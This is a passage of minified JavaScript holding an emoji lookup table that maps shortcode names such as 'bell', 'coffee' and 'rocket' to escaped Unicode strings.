udc1e",beginner:"\ud83d\udd30",bell:"\ud83d\udd14",bellhop_bell:"\ud83d\udece",bento:"\ud83c\udf71",biking_man:"\ud83d\udeb4",bike:"\ud83d\udeb2",biking_woman:"\ud83d\udeb4‍\u2640\ufe0f",bikini:"\ud83d\udc59",biohazard:"\u2623\ufe0f",bird:"\ud83d\udc26",birthday:"\ud83c\udf82",black_circle:"\u26ab\ufe0f",black_flag:"\ud83c\udff4",black_heart:"\ud83d\udda4",black_joker:"\ud83c\udccf",black_large_square:"\u2b1b\ufe0f",black_medium_small_square:"\u25fe\ufe0f",black_medium_square:"\u25fc\ufe0f",black_nib:"\u2712\ufe0f",black_small_square:"\u25aa\ufe0f",black_square_button:"\ud83d\udd32",blonde_man:"\ud83d\udc71",blonde_woman:"\ud83d\udc71‍\u2640\ufe0f",blossom:"\ud83c\udf3c",blowfish:"\ud83d\udc21",blue_book:"\ud83d\udcd8",blue_car:"\ud83d\ude99",blue_heart:"\ud83d\udc99",blush:"\ud83d\ude0a",boar:"\ud83d\udc17",boat:"\u26f5\ufe0f",bomb:"\ud83d\udca3",book:"\ud83d\udcd6",bookmark:"\ud83d\udd16",bookmark_tabs:"\ud83d\udcd1",books:"\ud83d\udcda",boom:"\ud83d\udca5",boot:"\ud83d\udc62",bouquet:"\ud83d\udc90",bowing_man:"\ud83d\ude47",bow_and_arrow:"\ud83c\udff9",bowing_woman:"\ud83d\ude47‍\u2640\ufe0f",bowling:"\ud83c\udfb3",boxing_glove:"\ud83e\udd4a",boy:"\ud83d\udc66",bread:"\ud83c\udf5e",bride_with_veil:"\ud83d\udc70",bridge_at_night:"\ud83c\udf09",briefcase:"\ud83d\udcbc",broken_heart:"\ud83d\udc94",bug:"\ud83d\udc1b",building_construction:"\ud83c\udfd7",bulb:"\ud83d\udca1",bullettrain_front:"\ud83d\ude85",bullettrain_side:"\ud83d\ude84",burrito:"\ud83c\udf2f",bus:"\ud83d\ude8c",business_suit_levitating:"\ud83d\udd74",busstop:"\ud83d\ude8f",bust_in_silhouette:"\ud83d\udc64",busts_in_silhouette:"\ud83d\udc65",butterfly:"\ud83e\udd8b",cactus:"\ud83c\udf35",cake:"\ud83c\udf70",calendar:"\ud83d\udcc6",call_me_hand:"\ud83e\udd19",calling:"\ud83d\udcf2",camel:"\ud83d\udc2b",camera:"\ud83d\udcf7",camera_flash:"\ud83d\udcf8",camping:"\ud83c\udfd5",cancer:"\u264b\ufe0f",candle:"\ud83d\udd6f",candy:"\ud83c\udf6c",canoe:"\ud83d\udef6",capital_abcd:"\ud83d\udd20",capricorn:"\u2651\ufe0f",car:"\ud83d\ude97",card_file_box:"\ud83d\uddc3",card_index:"\ud83d\udcc7",card_index_dividers:"\ud83d\uddc2",carousel_horse:"\ud83c\udfa0",carrot:"\ud83e\udd55",cat:"\ud83d\udc31",cat2:"\ud83d\udc08",cd:"\ud83d\udcbf",chains:"\u26d3",champagne:"\ud83c\udf7e",chart:"\ud83d\udcb9",chart_with_downwards_trend:"\ud83d\udcc9",chart_with_upwards_trend:"\ud83d\udcc8",checkered_flag:"\ud83c\udfc1",cheese:"\ud83e\uddc0",cherries:"\ud83c\udf52",cherry_blossom:"\ud83c\udf38",chestnut:"\ud83c\udf30",chicken:"\ud83d\udc14",children_crossing:"\ud83d\udeb8",chipmunk:"\ud83d\udc3f",chocolate_bar:"\ud83c\udf6b",christmas_tree:"\ud83c\udf84",church:"\u26ea\ufe0f",cinema:"\ud83c\udfa6",circus_tent:"\ud83c\udfaa",city_sunrise:"\ud83c\udf07",city_sunset:"\ud83c\udf06",cityscape:"\ud83c\udfd9",cl:"\ud83c\udd91",clamp:"\ud83d\udddc",clap:"\ud83d\udc4f",clapper:"\ud83c\udfac",classical_building:"\ud83c\udfdb",clinking_glasses:"\ud83e\udd42",clipboard:"\ud83d\udccb",clock1:"\ud83d\udd50",clock10:"\ud83d\udd59",clock1030:"\ud83d\udd65",clock11:"\ud83d\udd5a",clock1130:"\ud83d\udd66",clock12:"\ud83d\udd5b",clock1230:"\ud83d\udd67",clock130:"\ud83d\udd5c",clock2:"\ud83d\udd51",clock230:"\ud83d\udd5d",clock3:"\ud83d\udd52",clock330:"\ud83d\udd5e",clock4:"\ud83d\udd53",clock430:"\ud83d\udd5f",clock5:"\ud83d\udd54",clock530:"\ud83d\udd60",clock6:"\ud83d\udd55",clock630:"\ud83d\udd61",clock7:"\ud83d\udd56",clock730:"\ud83d\udd62",clock8:"\ud83d\udd57",clock830:"\ud83d\udd63",clock9:"\ud83d\udd58",clock930:"\ud83d\udd64",closed_book:"\ud83d\udcd5",closed_lock_with_key:"\ud83d\udd10",closed_umbrella:"\ud83c\udf02",cloud:"\u2601\ufe0f",cloud_with_lightning:"\ud83c\udf29",cloud_with_lightning_and_rain:"\u26c8",cloud_with_rain:"\ud83c\udf27",cloud_with_snow:"\ud83c\udf28",clown_face:"\ud83e\udd21",clubs:"\u2663\ufe0f",cocktail:"\ud83c\udf78",coffee:"\u2615\ufe0f",coffin:"\u26b0\ufe0f",cold_sweat:"\ud83d\ude30",comet:"\u2604\ufe0f",computer:"\ud83d\udcbb",computer_mouse:"\ud83d\uddb1",confetti_ball:"\ud83c\udf8a",confounded:"\ud83d\ude16",confused:"\ud83d\ude15",congratulations:"\u3297\ufe0f",construction:"\ud83d\udea7",construction_worker_man:"\ud83d\udc77",construction_worker_woman:"\ud83d\udc77‍\u2640\ufe0f",control_knobs:"\ud83c\udf9b",convenience_store:"\ud83c\udfea",cookie:"\ud83c\udf6a",cool:"\ud83c\udd92",policeman:"\ud83d\udc6e",copyright:"\xa9\ufe0f",corn:"\ud83c\udf3d",couch_and_lamp:"\ud83d\udecb",couple:"\ud83d\udc6b",couple_with_heart_woman_man:"\ud83d\udc91",couple_with_heart_man_man:"\ud83d\udc68‍\u2764\ufe0f‍\ud83d\udc68",couple_with_heart_woman_woman:"\ud83d\udc69‍\u2764\ufe0f‍\ud83d\udc69",couplekiss_man_man:"\ud83d\udc68‍\u2764\ufe0f‍\ud83d\udc8b‍\ud83d\udc68",couplekiss_man_woman:"\ud83d\udc8f",couplekiss_woman_woman:"\ud83d\udc69‍\u2764\ufe0f‍\ud83d\udc8b‍\ud83d\udc69",cow:"\ud83d\udc2e",cow2:"\ud83d\udc04",cowboy_hat_face:"\ud83e\udd20",crab:"\ud83e\udd80",crayon:"\ud83d\udd8d",credit_card:"\ud83d\udcb3",crescent_moon:"\ud83c\udf19",cricket:"\ud83c\udfcf",crocodile:"\ud83d\udc0a",croissant:"\ud83e\udd50",crossed_fingers:"\ud83e\udd1e",crossed_flags:"\ud83c\udf8c",crossed_swords:"\u2694\ufe0f",crown:"\ud83d\udc51",cry:"\ud83d\ude22",crying_cat_face:"\ud83d\ude3f",crystal_ball:"\ud83d\udd2e",cucumber:"\ud83e\udd52",cupid:"\ud83d\udc98",curly_loop:"\u27b0",currency_exchange:"\ud83d\udcb1",curry:"\ud83c\udf5b",custard:"\ud83c\udf6e",customs:"\ud83d\udec3",cyclone:"\ud83c\udf00",dagger:"\ud83d\udde1",dancer:"\ud83d\udc83",dancing_women:"\ud83d\udc6f",dancing_men:"\ud83d\udc6f‍\u2642\ufe0f",dango:"\ud83c\udf61",dark_sunglasses:"\ud83d\udd76",dart:"\ud83c\udfaf",dash:"\ud83d\udca8",date:"\ud83d\udcc5",deciduous_tree:"\ud83c\udf33",deer:"\ud83e\udd8c",department_store:"\ud83c\udfec",derelict_house:"\ud83c\udfda",desert:"\ud83c\udfdc",desert_island:"\ud83c\udfdd",desktop_computer:"\ud83d\udda5",male_detective:"\ud83d\udd75\ufe0f",diamond_shape_with_a_dot_inside:"\ud83d\udca0",diamonds:"\u2666\ufe0f",disappointed:"\ud83d\ude1e",disappointed_relieved:"\ud83d\ude25",dizzy:"\ud83d\udcab",dizzy_face:"\ud83d\ude35",do_not_litter:"\ud83d\udeaf",dog:"\ud83d\udc36",dog2:"\ud83d\udc15",dollar:"\ud83d\udcb5",dolls:"\ud83c\udf8e",dolphin:"\ud83d\udc2c",door:"\ud83d\udeaa",doughnut:"\ud83c\udf69",dove:"\ud83d\udd4a",dragon:"\ud83d\udc09",dragon_face:"\ud83d\udc32",dress:"\ud83d\udc57",dromedary_camel:"\ud83d\udc2a",drooling_face:"\ud83e\udd24",droplet:"\ud83d\udca7",drum:"\ud83e\udd41",duck:"\ud83e\udd86",dvd:"\ud83d\udcc0","e-mail":"\ud83d\udce7",eagle:"\ud83e\udd85",ear:"\ud83d\udc42",ear_of_rice:"\ud83c\udf3e",earth_africa:"\ud83c\udf0d",earth_americas:"\ud83c\udf0e",earth_asia:"\ud83c\udf0f",egg:"\ud83e\udd5a",eggplant:"\ud83c\udf46",eight_pointed_black_star:"\u2734\ufe0f",eight_spoked_asterisk:"\u2733\ufe0f",electric_plug:"\ud83d\udd0c",elephant:"\ud83d\udc18",email:"\u2709\ufe0f",end:"\ud83d\udd1a",envelope_with_arrow:"\ud83d\udce9",euro:"\ud83d\udcb6",european_castle:"\ud83c\udff0",european_post_office:"\ud83c\udfe4",evergreen_tree:"\ud83c\udf32",exclamation:"\u2757\ufe0f",expressionless:"\ud83d\ude11",eye:"\ud83d\udc41",eye_speech_bubble:"\ud83d\udc41‍\ud83d\udde8",eyeglasses:"\ud83d\udc53",eyes:"\ud83d\udc40",face_with_head_bandage:"\ud83e\udd15",face_with_thermometer:"\ud83e\udd12",fist_oncoming:"\ud83d\udc4a",factory:"\ud83c\udfed",fallen_leaf:"\ud83c\udf42",family_man_woman_boy:"\ud83d\udc6a",family_man_boy:"\ud83d\udc68‍\ud83d\udc66",family_man_boy_boy:"\ud83d\udc68‍\ud83d\udc66‍\ud83d\udc66",family_man_girl:"\ud83d\udc68‍\ud83d\udc67",family_man_girl_boy:"\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc66",family_man_girl_girl:"\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc67",family_man_man_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc66",family_man_man_boy_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc66‍\ud83d\udc66",family_man_man_girl:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67",family_man_man_girl_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc66",family_man_man_girl_girl:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc67",family_man_woman_boy_boy:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_man_woman_girl:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67",family_man_woman_girl_boy:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_man_woman_girl_girl:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",family_woman_boy:"\ud83d\udc69‍\ud83d\udc66",family_woman_boy_boy:"\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_woman_girl:"\ud83d\udc69‍\ud83d\udc67",family_woman_girl_boy:"\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_woman_girl_girl:"\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",family_woman_woman_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc66",family_woman_woman_boy_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_woman_woman_girl:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67",family_woman_woman_girl_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_woman_woman_girl_girl:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",fast_forward:"\u23e9",fax:"\ud83d\udce0",fearful:"\ud83d\ude28",feet:"\ud83d\udc3e",female_detective:"\ud83d\udd75\ufe0f‍\u2640\ufe0f",ferris_wheel:"\ud83c\udfa1",ferry:"\u26f4",field_hockey:"\ud83c\udfd1",file_cabinet:"\ud83d\uddc4",file_folder:"\ud83d\udcc1",film_projector:"\ud83d\udcfd",film_strip:"\ud83c\udf9e",fire:"\ud83d\udd25",fire_engine:"\ud83d\ude92",fireworks:"\ud83c\udf86",first_quarter_moon:"\ud83c\udf13",first_quarter_moon_with_face:"\ud83c\udf1b",fish:"\ud83d\udc1f",fish_cake:"\ud83c\udf65",fishing_pole_and_fish:"\ud83c\udfa3",fist_raised:"\u270a",fist_left:"\ud83e\udd1b",fist_right:"\ud83e\udd1c",flags:"\ud83c\udf8f",flashlight:"\ud83d\udd26",fleur_de_lis:"\u269c\ufe0f",flight_arrival:"\ud83d\udeec",flight_departure:"\ud83d\udeeb",floppy_disk:"\ud83d\udcbe",flower_playing_cards:"\ud83c\udfb4",flushed:"\ud83d\ude33",fog:"\ud83c\udf2b",foggy:"\ud83c\udf01",football:"\ud83c\udfc8",footprints:"\ud83d\udc63",fork_and_knife:"\ud83c\udf74",fountain:"\u26f2\ufe0f",fountain_pen:"\ud83d\udd8b",four_leaf_clover:"\ud83c\udf40",fox_face:"\ud83e\udd8a",framed_picture:"\ud83d\uddbc",free:"\ud83c\udd93",fried_egg:"\ud83c\udf73",fried_shrimp:"\ud83c\udf64",fries:"\ud83c\udf5f",frog:"\ud83d\udc38",frowning:"\ud83d\ude26",frowning_face:"\u2639\ufe0f",frowning_man:"\ud83d\ude4d‍\u2642\ufe0f",frowning_woman:"\ud83d\ude4d",middle_finger:"\ud83d\udd95",fuelpump:"\u26fd\ufe0f",full_moon:"\ud83c\udf15",full_moon_with_face:"\ud83c\udf1d",funeral_urn:"\u26b1\ufe0f",game_die:"\ud83c\udfb2",gear:"\u2699\ufe0f",gem:"\ud83d\udc8e",gemini:"\u264a\ufe0f",ghost:"\ud83d\udc7b",gift:"\ud83c\udf81",gift_heart:"\ud83d\udc9d",girl:"\ud83d\udc67",globe_with_meridians:"\ud83c\udf10",goal_net:"\ud83e\udd45",goat:"\ud83d\udc10",golf:"\u26f3\ufe0f",golfing_man:"\ud83c\udfcc\ufe0f",golfing_woman:"\ud83c\udfcc\ufe0f‍\u2640\ufe0f",gorilla:"\ud83e\udd8d",grapes:"\ud83c\udf47",green_apple:"\ud83c\udf4f",green_book:"\ud83d\udcd7",green_heart:"\ud83d\udc9a",green_salad:"\ud83e\udd57",grey_exclamation:"\u2755",grey_question:"\u2754",grimacing:"\ud83d\ude2c",grin:"\ud83d\ude01",grinning:"\ud83d\ude00",guardsman:"\ud83d\udc82",guardswoman:"\ud83d\udc82‍\u2640\ufe0f",guitar:"\ud83c\udfb8",gun:"\ud83d\udd2b",haircut_woman:"\ud83d\udc87",haircut_man:"\ud83d\udc87‍\u2642\ufe0f",hamburger:"\ud83c\udf54",hammer:"\ud83d\udd28",hammer_and_pick:"\u2692",hammer_and_wrench:"\ud83d\udee0",hamster:"\ud83d\udc39",hand:"\u270b",handbag:"\ud83d\udc5c",handshake:"\ud83e\udd1d",hankey:"\ud83d\udca9",hatched_chick:"\ud83d\udc25",hatching_chick:"\ud83d\udc23",headphones:"\ud83c\udfa7",hear_no_evil:"\ud83d\ude49",heart:"\u2764\ufe0f",heart_decoration:"\ud83d\udc9f",heart_eyes:"\ud83d\ude0d",heart_eyes_cat:"\ud83d\ude3b",heartbeat:"\ud83d\udc93",heartpulse:"\ud83d\udc97",hearts:"\u2665\ufe0f",heavy_check_mark:"\u2714\ufe0f",heavy_division_sign:"\u2797",heavy_dollar_sign:"\ud83d\udcb2",heavy_heart_exclamation:"\u2763\ufe0f",heavy_minus_sign:"\u2796",heavy_multiplication_x:"\u2716\ufe0f",heavy_plus_sign:"\u2795",helicopter:"\ud83d\ude81",herb:"\ud83c\udf3f",hibiscus:"\ud83c\udf3a",high_brightness:"\ud83d\udd06",high_heel:"\ud83d\udc60",hocho:"\ud83d\udd2a",hole:"\ud83d\udd73",honey_pot:"\ud83c\udf6f",horse:"\ud83d\udc34",horse_racing:"\ud83c\udfc7",hospital:"\ud83c\udfe5",hot_pepper:"\ud83c\udf36",hotdog:"\ud83c\udf2d",hotel:"\ud83c\udfe8",hotsprings:"\u2668\ufe0f",hourglass:"\u231b\ufe0f",hourglass_flowing_sand:"\u23f3",house:"\ud83c\udfe0",house_with_garden:"\ud83c\udfe1",houses:"\ud83c\udfd8",hugs:"\ud83e\udd17",hushed:"\ud83d\ude2f",ice_cream:"\ud83c\udf68",ice_hockey:"\ud83c\udfd2",ice_skate:"\u26f8",icecream:"\ud83c\udf66",id:"\ud83c\udd94",ideograph_advantage:"\ud83c\ude50",imp:"\ud83d\udc7f",inbox_tray:"\ud83d\udce5",incoming_envelope:"\ud83d\udce8",tipping_hand_woman:"\ud83d\udc81",information_source:"\u2139\ufe0f",innocent:"\ud83d\ude07",interrobang:"\u2049\ufe0f",iphone:"\ud83d\udcf1",izakaya_lantern:"\ud83c\udfee",jack_o_lantern:"\ud83c\udf83",japan:"\ud83d\uddfe",japanese_castle:"\ud83c\udfef",japanese_goblin:"\ud83d\udc7a",japanese_ogre:"\ud83d\udc79",jeans:"\ud83d\udc56",joy:"\ud83d\ude02",joy_cat:"\ud83d\ude39",joystick:"\ud83d\udd79",kaaba:"\ud83d\udd4b",key:"\ud83d\udd11",keyboard:"\u2328\ufe0f",keycap_ten:"\ud83d\udd1f",kick_scooter:"\ud83d\udef4",kimono:"\ud83d\udc58",kiss:"\ud83d\udc8b",kissing:"\ud83d\ude17",kissing_cat:"\ud83d\ude3d",kissing_closed_eyes:"\ud83d\ude1a",kissing_heart:"\ud83d\ude18",kissing_smiling_eyes:"\ud83d\ude19",kiwi_fruit:"\ud83e\udd5d",koala:"\ud83d\udc28",koko:"\ud83c\ude01",label:"\ud83c\udff7",large_blue_circle:"\ud83d\udd35",large_blue_diamond:"\ud83d\udd37",large_orange_diamond:"\ud83d\udd36",last_quarter_moon:"\ud83c\udf17",last_quarter_moon_with_face:"\ud83c\udf1c",latin_cross:"\u271d\ufe0f",laughing:"\ud83d\ude06",leaves:"\ud83c\udf43",ledger:"\ud83d\udcd2",left_luggage:"\ud83d\udec5",left_right_arrow:"\u2194\ufe0f",leftwards_arrow_with_hook:"\u21a9\ufe0f",lemon:"\ud83c\udf4b",leo:"\u264c\ufe0f",leopard:"\ud83d\udc06",level_slider:"\ud83c\udf9a",libra:"\u264e\ufe0f",light_rail:"\ud83d\ude88",link:"\ud83d\udd17",lion:"\ud83e\udd81",lips:"\ud83d\udc44",lipstick:"\ud83d\udc84",lizard:"\ud83e\udd8e",lock:"\ud83d\udd12",lock_with_ink_pen:"\ud83d\udd0f",lollipop:"\ud83c\udf6d",loop:"\u27bf",loud_sound:"\ud83d\udd0a",loudspeaker:"\ud83d\udce2",love_hotel:"\ud83c\udfe9",love_letter:"\ud83d\udc8c",low_brightness:"\ud83d\udd05",lying_face:"\ud83e\udd25",m:"\u24c2\ufe0f",mag:"\ud83d\udd0d",mag_right:"\ud83d\udd0e",mahjong:"\ud83c\udc04\ufe0f",mailbox:"\ud83d\udceb",mailbox_closed:"\ud83d\udcea",mailbox_with_mail:"\ud83d\udcec",mailbox_with_no_mail:"\ud83d\udced",man:"\ud83d\udc68",man_artist:"\ud83d\udc68‍\ud83c\udfa8",man_astronaut:"\ud83d\udc68‍\ud83d\ude80",man_cartwheeling:"\ud83e\udd38‍\u2642\ufe0f",man_cook:"\ud83d\udc68‍\ud83c\udf73",man_dancing:"\ud83d\udd7a",man_facepalming:"\ud83e\udd26‍\u2642\ufe0f",man_factory_worker:"\ud83d\udc68‍\ud83c\udfed",man_farmer:"\ud83d\udc68‍\ud83c\udf3e",man_firefighter:"\ud83d\udc68‍\ud83d\ude92",man_health_worker:"\ud83d\udc68‍\u2695\ufe0f",man_in_tuxedo:"\ud83e\udd35",man_judge:"\ud83d\udc68‍\u2696\ufe0f",man_juggling:"\ud83e\udd39‍\u2642\ufe0f",man_mechanic:"\ud83d\udc68‍\ud83d\udd27",man_office_worker:"\ud83d\udc68‍\ud83d\udcbc",man_pilot:"\ud83d\udc68‍\u2708\ufe0f",man_playing_handball:"\ud83e\udd3e‍\u2642\ufe0f",man_playing_water_polo:"\ud83e\udd3d‍\u2642\ufe0f",man_scientist:"\ud83d\udc68‍\ud83d\udd2c",man_shrugging:"\ud83e\udd37‍\u2642\ufe0f",man_singer:"\ud83d\udc68‍\ud83c\udfa4",man_student:"\ud83d\udc68‍\ud83c\udf93",man_teacher:"\ud83d\udc68‍\ud83c\udfeb",man_technologist:"\ud83d\udc68‍\ud83d\udcbb",man_with_gua_pi_mao:"\ud83d\udc72",man_with_turban:"\ud83d\udc73",tangerine:"\ud83c\udf4a",mans_shoe:"\ud83d\udc5e",mantelpiece_clock:"\ud83d\udd70",maple_leaf:"\ud83c\udf41",martial_arts_uniform:"\ud83e\udd4b",mask:"\ud83d\ude37",massage_woman:"\ud83d\udc86",massage_man:"\ud83d\udc86‍\u2642\ufe0f",meat_on_bone:"\ud83c\udf56",medal_military:"\ud83c\udf96",medal_sports:"\ud83c\udfc5",mega:"\ud83d\udce3",melon:"\ud83c\udf48",memo:"\ud83d\udcdd",men_wrestling:"\ud83e\udd3c‍\u2642\ufe0f",menorah:"\ud83d\udd4e",mens:"\ud83d\udeb9",metal:"\ud83e\udd18",metro:"\ud83d\ude87",microphone:"\ud83c\udfa4",microscope:"\ud83d\udd2c",milk_glass:"\ud83e\udd5b",milky_way:"\ud83c\udf0c",minibus:"\ud83d\ude90",minidisc:"\ud83d\udcbd",mobile_phone_off:"\ud83d\udcf4",money_mouth_face:"\ud83e\udd11",money_with_wings:"\ud83d\udcb8",moneybag:"\ud83d\udcb0",monkey:"\ud83d\udc12",monkey_face:"\ud83d\udc35",monorail:"\ud83d\ude9d",moon:"\ud83c\udf14",mortar_board:"\ud83c\udf93",mosque:"\ud83d\udd4c",motor_boat:"\ud83d\udee5",motor_scooter:"\ud83d\udef5",motorcycle:"\ud83c\udfcd",motorway:"\ud83d\udee3",mount_fuji:"\ud83d\uddfb",mountain:"\u26f0",mountain_biking_man:"\ud83d\udeb5",mountain_biking_woman:"\ud83d\udeb5‍\u2640\ufe0f",mountain_cableway:"\ud83d\udea0",mountain_railway:"\ud83d\ude9e",mountain_snow:"\ud83c\udfd4",mouse:"\ud83d\udc2d",mouse2:"\ud83d\udc01",movie_camera:"\ud83c\udfa5",moyai:"\ud83d\uddff",mrs_claus:"\ud83e\udd36",muscle:"\ud83d\udcaa",mushroom:"\ud83c\udf44",musical_keyboard:"\ud83c\udfb9",musical_note:"\ud83c\udfb5",musical_score:"\ud83c\udfbc",mute:"\ud83d\udd07",nail_care:"\ud83d\udc85",name_badge:"\ud83d\udcdb",national_park:"\ud83c\udfde",nauseated_face:"\ud83e\udd22",necktie:"\ud83d\udc54",negative_squared_cross_mark:"\u274e",nerd_face:"\ud83e\udd13",neutral_face:"\ud83d\ude10","new":"\ud83c\udd95",new_moon:"\ud83c\udf11",new_moon_with_face:"\ud83c\udf1a",newspaper:"\ud83d\udcf0",newspaper_roll:"\ud83d\uddde",next_track_button:"\u23ed",ng:"\ud83c\udd96",no_good_man:"\ud83d\ude45‍\u2642\ufe0f",no_good_woman:"\ud83d\ude45",night_with_stars:"\ud83c\udf03",no_bell:"\ud83d\udd15",no_bicycles:"\ud83d\udeb3",no_entry:"\u26d4\ufe0f",no_entry_sign:"\ud83d\udeab",no_mobile_phones:"\ud83d\udcf5",no_mouth:"\ud83d\ude36",no_pedestrians:"\ud83d\udeb7",no_smoking:"\ud83d\udead","non-potable_water":"\ud83d\udeb1",nose:"\ud83d\udc43",notebook:"\ud83d\udcd3",notebook_with_decorative_cover:"\ud83d\udcd4",notes:"\ud83c\udfb6",nut_and_bolt:"\ud83d\udd29",o:"\u2b55\ufe0f",o2:"\ud83c\udd7e\ufe0f",ocean:"\ud83c\udf0a",octopus:"\ud83d\udc19",oden:"\ud83c\udf62",office:"\ud83c\udfe2",oil_drum:"\ud83d\udee2",ok:"\ud83c\udd97",ok_hand:"\ud83d\udc4c",ok_man:"\ud83d\ude46‍\u2642\ufe0f",ok_woman:"\ud83d\ude46",old_key:"\ud83d\udddd",older_man:"\ud83d\udc74",older_woman:"\ud83d\udc75",om:"\ud83d\udd49",on:"\ud83d\udd1b",oncoming_automobile:"\ud83d\ude98",oncoming_bus:"\ud83d\ude8d",oncoming_police_car:"\ud83d\ude94",oncoming_taxi:"\ud83d\ude96",open_file_folder:"\ud83d\udcc2",open_hands:"\ud83d\udc50",open_mouth:"\ud83d\ude2e",open_umbrella:"\u2602\ufe0f",ophiuchus:"\u26ce",orange_book:"\ud83d\udcd9",orthodox_cross:"\u2626\ufe0f",outbox_tray:"\ud83d\udce4",owl:"\ud83e\udd89",ox:"\ud83d\udc02","package":"\ud83d\udce6",page_facing_up:"\ud83d\udcc4",page_with_curl:"\ud83d\udcc3",pager:"\ud83d\udcdf",paintbrush:"\ud83d\udd8c",palm_tree:"\ud83c\udf34",pancakes:"\ud83e\udd5e",panda_face:"\ud83d\udc3c",paperclip:"\ud83d\udcce",paperclips:"\ud83d\udd87",parasol_on_ground:"\u26f1",parking:"\ud83c\udd7f\ufe0f",part_alternation_mark:"\u303d\ufe0f",partly_sunny:"\u26c5\ufe0f",passenger_ship:"\ud83d\udef3",passport_control:"\ud83d\udec2",pause_button:"\u23f8",peace_symbol:"\u262e\ufe0f",peach:"\ud83c\udf51",peanuts:"\ud83e\udd5c",pear:"\ud83c\udf50",pen:"\ud83d\udd8a",pencil2:"\u270f\ufe0f",penguin:"\ud83d\udc27",pensive:"\ud83d\ude14",performing_arts:"\ud83c\udfad",persevere:"\ud83d\ude23",person_fencing:"\ud83e\udd3a",pouting_woman:"\ud83d\ude4e",phone:"\u260e\ufe0f",pick:"\u26cf",pig:"\ud83d\udc37",pig2:"\ud83d\udc16",pig_nose:"\ud83d\udc3d",pill:"\ud83d\udc8a",pineapple:"\ud83c\udf4d",ping_pong:"\ud83c\udfd3",pisces:"\u2653\ufe0f",pizza:"\ud83c\udf55",place_of_worship:"\ud83d\uded0",plate_with_cutlery:"\ud83c\udf7d",play_or_pause_button:"\u23ef",point_down:"\ud83d\udc47",point_left:"\ud83d\udc48",point_right:"\ud83d\udc49",point_up:"\u261d\ufe0f",point_up_2:"\ud83d\udc46",police_car:"\ud83d\ude93",policewoman:"\ud83d\udc6e‍\u2640\ufe0f",poodle:"\ud83d\udc29",popcorn:"\ud83c\udf7f",post_office:"\ud83c\udfe3",postal_horn:"\ud83d\udcef",postbox:"\ud83d\udcee",potable_water:"\ud83d\udeb0",potato:"\ud83e\udd54",pouch:"\ud83d\udc5d",poultry_leg:"\ud83c\udf57",pound:"\ud83d\udcb7",rage:"\ud83d\ude21",pouting_cat:"\ud83d\ude3e",pouting_man:"\ud83d\ude4e‍\u2642\ufe0f",pray:"\ud83d\ude4f",prayer_beads:"\ud83d\udcff",pregnant_woman:"\ud83e\udd30",previous_track_button:"\u23ee",prince:"\ud83e\udd34",princess:"\ud83d\udc78",printer:"\ud83d\udda8",purple_heart:"\ud83d\udc9c",purse:"\ud83d\udc5b",pushpin:"\ud83d\udccc",put_litter_in_its_place:"\ud83d\udeae",question:"\u2753",rabbit:"\ud83d\udc30",rabbit2:"\ud83d\udc07",racehorse:"\ud83d\udc0e",racing_car:"\ud83c\udfce",radio:"\ud83d\udcfb",radio_button:"\ud83d\udd18",radioactive:"\u2622\ufe0f",railway_car:"\ud83d\ude83",railway_track:"\ud83d\udee4",rainbow:"\ud83c\udf08",rainbow_flag:"\ud83c\udff3\ufe0f‍\ud83c\udf08",raised_back_of_hand:"\ud83e\udd1a",raised_hand_with_fingers_splayed:"\ud83d\udd90",raised_hands:"\ud83d\ude4c",raising_hand_woman:"\ud83d\ude4b",raising_hand_man:"\ud83d\ude4b‍\u2642\ufe0f",ram:"\ud83d\udc0f",ramen:"\ud83c\udf5c",rat:"\ud83d\udc00",record_button:"\u23fa",recycle:"\u267b\ufe0f",red_circle:"\ud83d\udd34",registered:"\xae\ufe0f",relaxed:"\u263a\ufe0f",relieved:"\ud83d\ude0c",reminder_ribbon:"\ud83c\udf97",repeat:"\ud83d\udd01",repeat_one:"\ud83d\udd02",rescue_worker_helmet:"\u26d1",restroom:"\ud83d\udebb",revolving_hearts:"\ud83d\udc9e",rewind:"\u23ea",rhinoceros:"\ud83e\udd8f",ribbon:"\ud83c\udf80",rice:"\ud83c\udf5a",rice_ball:"\ud83c\udf59",rice_cracker:"\ud83c\udf58",rice_scene:"\ud83c\udf91",right_anger_bubble:"\ud83d\uddef",ring:"\ud83d\udc8d",robot:"\ud83e\udd16",rocket:"\ud83d\ude80",rofl:"\ud83e\udd23",roll_eyes:"\ud83d\ude44",roller_coaster:"\ud83c\udfa2",rooster:"\ud83d\udc13",rose:"\ud83c\udf39",rosette:"\ud83c\udff5",rotating_light:"\ud83d\udea8",round_pushpin:"\ud83d\udccd",rowing_man:"\ud83d\udea3",rowing_woman:"\ud83d\udea3‍\u2640\ufe0f",rugby_football:"\ud83c\udfc9",running_man:"\ud83c\udfc3",running_shirt_with_sash:"\ud83c\udfbd",running_woman:"\ud83c\udfc3‍\u2640\ufe0f",sa:"\ud83c\ude02\ufe0f",sagittarius:"\u2650\ufe0f",sake:"\ud83c\udf76",sandal:"\ud83d\udc61",santa:"\ud83c\udf85",satellite:"\ud83d\udce1",saxophone:"\ud83c\udfb7",school:"\ud83c\udfeb",school_satchel:"\ud83c\udf92",scissors:"\u2702\ufe0f",scorpion:"\ud83e\udd82",scorpius:"\u264f\ufe0f",scream:"\ud83d\ude31",scream_cat:"\ud83d\ude40",scroll:"\ud83d\udcdc",seat:"\ud83d\udcba",secret:"\u3299\ufe0f",see_no_evil:"\ud